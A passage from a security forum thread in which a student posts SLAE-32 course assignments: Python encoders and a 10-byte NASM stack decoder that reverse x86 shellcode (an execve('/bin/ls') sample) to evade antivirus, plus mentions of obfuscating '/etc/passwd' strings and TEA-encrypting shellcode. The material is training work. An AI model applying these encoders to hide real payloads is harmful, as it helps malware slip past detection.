So now, we can improve our encoder and decoder by encoding in a stack-friendly manner.
The idea is that we'll PUSH the DWORDS on the stack in reverse order (since stack is reverse)
This way, we can use the stack functionality to save a few decoder bytes.
Doing this is easy in Python. First we take our shellcode and split it in chunks of 4 bytes:
splittedshellcode = [shellcode[i:i+4] for i in range(0, len(shellcode), 4)]
Then we reverse the array obtained:
reversedshellcode = splittedshellcode[::-1]
Then we concatenate (join) the words without additional characters in between to form a new string.
joinedshellcode = "".join(reversedshellcode)
The above commands can be performed in a single command as follows:
shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])
Our new encoder (encoder2.py):
# ========================================================
#!/usr/bin/env python
#
# we import sys for the len() function
import sys
# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80")
# Ninja code: bswap("12345678") -> \x78\x56\x34\x12
def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2]
def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ','
# pad shellcode with a NOP which will be used by our decoder
shellcode += "\x90"
# pad additional NOPS until shellcode is divisible by 4
while (len(shellcode) % 4 != 0): shellcode += "\x90"
# Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string
shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])
# initialize variables used by our encoder sequence
py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = "";
# encode the shellcode with a bswap of every 4 bytes
for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode
counter += 1 # we use the counter to load 4 bytes at a time
EAX += '%02x' %x # store hex value of byte in EAX string
if (counter % 4 == 0): # we have read 4 bytes
py_shellcode += bswap_to_py(EAX) # append bswapped value to encoded_shellcode
asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode
EAX = ""; counter = 0; # reset EAX and counter to process next 4 bytes
print py_shellcode
print asm_shellcode[:-1]
# ========================================================
$ python encoder2.py
\x90\x90\x90\x80\xcd\x0b\xb0\xe1\x89\x53\xe2\x89\x50\xe3\x89\x6e\x69\x62\x2f\x68\x73\x6c\x2f\x2f\x68\x50\xc0\x31
0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31
Our encoder2 works and we now have our encoded shell. Effectively we've reversed our whole shellcode and our encoder could be simplified even more.
Our new encoder (encoder3.py):
# ========================================================
#!/usr/bin/env python
#
# we import sys for the len() function
import sys
# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80")
# pad shellcode with a NOP which will be used by our decoder
shellcode += "\x90"
# pad additional NOPS until shellcode is divisible by 4
while (len(shellcode) % 4 != 0): shellcode += "\x90"
# Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string
shellcode_reversed = "".join([shellcode[i:i+1] for i in range(0, len(shellcode), 1)][::-1])
# initialize variables used by our encoder sequence
py_shellcode = ""; asm_shellcode = "";
# encode the shellcode with a bswap of every 4 bytes
for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode
py_shellcode += '\\x' '%02x' %x # append byte value to encoded_shellcode
asm_shellcode += '0x' '%02x' ',' %x # append byte value to encoded_shellcode
print py_shellcode
print asm_shellcode[:-1]
# ========================================================
We can now simplify the assembly decoder:
; ==================================================================
; filename decoder2.nasm
;
global _start
section .text
_start:
jmp short CALL ; JMP - CALL - POP technique to retrieve location of encoded shell
POP:
pop esi ; ESI = Location of shellcode
DECODESHELL:
lodsd ; store dword pointed by ESI (shellcode) in EAX register
bswap eax ; The bswap magic takes place here in the EAX register
push eax ; store the bswapped reversed_shellcode on the stack
cmp al, 0x31 ; If AL (now also the top byte on stack) is 0x31 then this is the start of our shellcode
jne DECODESHELL ; keep decoding until AL is 0x31
jmp esp ; jump to stack = our shell
CALL:
call POP
shellcode: db 0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31
; ==================================================================
The size of our finished assembly shellcode decoder is 10 bytes. -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment 4 done! The encoder I came up with morphed a little from the initial idea of having a BSWAP encoder, to creating a very small decoder in assembly. The reduction in decoder size has resulted in a change of the encoding scheme, which resulted in a simple reversing of the byte order of the full shellcode. It's a surprisingly effective method to bypass AV for very little additional shellcode size. The shellcode is pushed onto the stack and executed in the stack.
-
JollyFrogs Member Posts: 97 ■■■□□□□□□□I've now created both a Blog and a GitHub account as per requirements:
Blog: https://slae747.wordpress.com/
GitHub: https://github.com/JollyFrogs/SLAE-32
I will keep updating this thread as I complete exercises, but will instead of posting the exercises here link to the blog post. This is because the source codes are mangles when I try and upload them here. -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment #5 done!
https://slae747.wordpress.com/2016/06/04/slae-32-assignment-5/ -
eth0 Member Posts: 86 ■■□□□□□□□□JollyFrogs, first of all thanks for all informations there but I have one basic question - if I have no any other experience in asm/debuggers/re/expl dev (on that level) other that from OSCP (I done that exam expl without problems in 20minutes with screenshots and nice code because of some practice when prepared to that task with some simillar expl dev on old vulnerable FTP servers) will be this course understandable for me then?
Also this is Linux course and OSCE is about Windows, but I think that this will be very simillar on that basics, true? -
JollyFrogs Member Posts: 97 ■■■□□□□□□□JollyFrogs, first of all thanks for all informations there but I have one basic question - if I have no any other experience in asm/debuggers/re/expl dev (on that level) other that from OSCP (I done that exam expl without problems in 20minutes with screenshots and nice code because of some practice when prepared to that task with some simillar expl dev on old vulnerable FTP servers) will be this course understandable for me then?
Also this is Linux course and OSCE is about Windows, but I think that this will be very simillar on that basics, true?
Hi eth0. The course is meant to cater for those without experience in Assembly. It will be helpful to know the basics of Linux, but the Assembly is explained in detail throughout the course, including on how to use a debugger.
Assembly is agnostic on whatever runs on it. The syscalls might be different in Linux than they are in Windows but the overall instruction set will be the same - they are both x86. So I advise starting with Linux first, then Windows, then 64-bit if you want to do the full course: I might do all of them myself; although I must admit OSCE is calling -
eth0 Member Posts: 86 ■■□□□□□□□□thanks, i have pretty good linux knowledge, so good because my low level skils sucks, OSCP exploit is very entry level and I dont have any other real exprience
btw: x86/64 Assembly and Shellcoding on Linux « SecurityTube Training -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment #6 complete! https://slae747.wordpress.com/2016/06/12/slae-32-assignment-6/
This assignment was quite time consuming but I learned lots. I was able to reduce the size of all 4 shellcodes, in some cases substantially, and was able to add small obfuscation routines to hide strings like "//et" "c/pa" "sswd" which get easily detected by IDS/IPS/VirusScanners. -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment #7 complete: https://slae747.wordpress.com/2016/06/18/slae-32-assignment-7/
In this exercise, I created a python script that encrypts shellcode using TEA (Tiny Encryption Algorithm). While TEA has been broken, it was an interesting exercise in block encryption. Also, I learnt lots of Python tricks. The encryption and decryption modules are in separate python scripts, and the encrypted shellcode is executed directly from Python.
I really enjoyed this course: Vivek is a good teacher and I have learnt tons. This is good preparation towards OSCE.
So, what's next? Well - I've already signed up for the SecurityTube Windows Forensics course which is due to come out soon. I'm also going to do fuzzing and exploit writing in my home Virtualbox and I plan to do lots of reading in preparation of OSCE. I'll be keeping a thread on OSCE on this forum once I start; I expect to start OSCE sometime in September. -
JollyFrogs Member Posts: 97 ■■■□□□□□□□It's official!
"Congratulations! You have successfully completed all the requirements for the SLAE course and have passed the certification exam." -
TheFORCE Member Posts: 2,297 ■■■■■■■■□□JollyFrogs wrote: »It's official!
"Congratulations! You have successfully completed all the requirements for the SLAE course and have passed the certification exam."